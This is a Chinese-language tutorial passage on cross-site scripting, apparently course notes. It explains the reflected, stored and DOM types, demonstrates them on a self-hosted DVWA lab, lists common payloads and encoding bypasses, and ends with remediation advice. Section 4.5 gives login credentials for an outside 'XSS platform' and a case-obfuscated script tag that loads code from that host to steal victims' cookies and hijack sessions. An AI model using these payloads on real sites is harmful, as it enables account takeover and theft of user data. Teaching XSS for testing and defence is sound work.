4.4 XSS基础
跨站脚本(Cross-Site Scripting)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。
允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。
XSS攻击可以分为三种:反射型、存储型、DOM型。
4.4.2 XSS漏洞原理
1. 反射型XSS
反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
2.存储型XSS
又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。
例如,恶意攻击者在留言板中加入一下代码。
<script>alert(/You are hacked!/)</script>
3.DOM型XSS
其实是一种特殊类型的反射XSS,是基于文档对象模型的一种漏洞。客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
攻击方式:用户请求经过一个专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM就会处理XSS代码,导致存在XSS漏洞。
4.4.3 反射性XSS攻击
目标为自行搭建的靶机系统:http://192.168.1.180/dvwa/login.php,用户名和密码为admin、password
输入为:
<script>alert("You are hacked!")</script>
结果如下:
4.4.5 储存型XSS攻击
Name:test
提交内容:同上。。。
4.4.7 DOM型XSS攻击
4.5 XSS进阶
XSS平台地址:http://8320.cn/xss.php
用户名:158_abc 邮箱:qqyx 密码:158_abc
4.5.1 XSS常用语句及编码绕过
常见测试语句有:
- <script>alert</script>
- <img src=x οnerrοr=alert(123)>
- <svg οnlοad=alert(123)>
- <a href=javascript:alert(123)>
常见的绕过编码有:
- JS编码
- HTNL编码
- URL编码
4.5.2 使用XSS平台测试XSS漏洞
将利用代码插入到存在XSS漏洞的URL后,
</tExtArEa>'"><sCRiPt sRC=http://8320.cn/MIUM></sCrIpT>
即为:
http://192.168.1.180/dvwa/vulnerabilities/xss_r/?name=</tExtArEa>'"><sCRiPt sRC=http://8320.cn/MIUM></sCrIpT>
回到XSS平台,可以看到以及获取了信息,其中包含来源地址、cookie、IP、浏览器等,如果用户处于登录状态,可以修改cookie并进入该用户的账户,如下图:
4.5.3 XSS漏洞修复建议
由于xss漏洞涉及输入和输出两部分,故修复也有2种:
- 过滤输入的数据,包括单引号、双引号、小于号、大于号、on*等非法字符
- 对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等